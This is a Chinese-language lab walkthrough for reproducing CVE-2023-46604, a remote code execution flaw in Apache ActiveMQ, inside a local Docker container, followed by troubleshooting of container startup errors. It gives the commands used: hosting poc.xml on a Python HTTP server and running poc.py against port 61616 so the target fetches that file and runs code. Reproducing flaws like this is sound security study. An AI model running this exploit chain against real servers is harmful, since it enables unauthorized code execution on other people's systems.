root身份打开CVE-2023-46604目录终端执行代码:
docker compose up -d
启动容器
成功访问ip:8161端口,此漏洞核心在61616端口
漏洞目录下有poc.xml
文件,启动 HTTP 反连服务器
python3 -m http.server 6666
执行漏洞利用脚本
python3 poc.py 192.168.75.132 61616 http://ip:6666/poc.xml
此时反连服务器会有响应即为成功!
漏洞验证
执行docker exec cve-2023-46604-activemq-1 ls -l /tmp
看到activeMQ-RCE-success
漏洞复现成功!
复现中遇到的问题(可能会出现)
最初我在运行python3 poc.py 192.168.75.132 61616 http://192.168.75.132:6666/poc.xml
命令时,
出现ConnectionRefusedError: [Errno 111] Connection refused
错误(说白了就是docker没正常运行),
逐一排查后总结原因如下
docker日志报错主要是java.lang.NullPointerException
和/opt/activemq/bin/activemq: 1: ps: not found
解决方法:
docker compose down
停止容器
编辑目录下的docker-compose.yml
文件
在image和port中间添加一行command: sleep infinity
意思是临时改动启动命令,让容器启动后不退出
docker compose up -d
启动容器
docker exec -it cve-2023-46604-activemq-1 /bin/sh
进入docker容器的shell
apt-get update && apt-get install -y procps
安装procps,Ubuntu默认安装
exit
退出容器
把刚开始在docker-compose.yml
文件下添加的command一行删除后
在文件里添加
environment:
- ACTIVEMQ_OPTS=-XX:-UseContainerSupport
强制禁用容器内的 cgroup 检测,避免触发空指针异常。
执行docker compose down
docker compose up -d
重启容器
执行docker ps | grep activemq
查看容器状态(应为UP)
执行docker logs cve-2023-46604-activemq-1
查看日志(无报错)
重新成功执行python3 poc.py 192.168.75.132 61616 http://192.168.75.132:6666/poc.xml
命令,
反连服务器会返回结果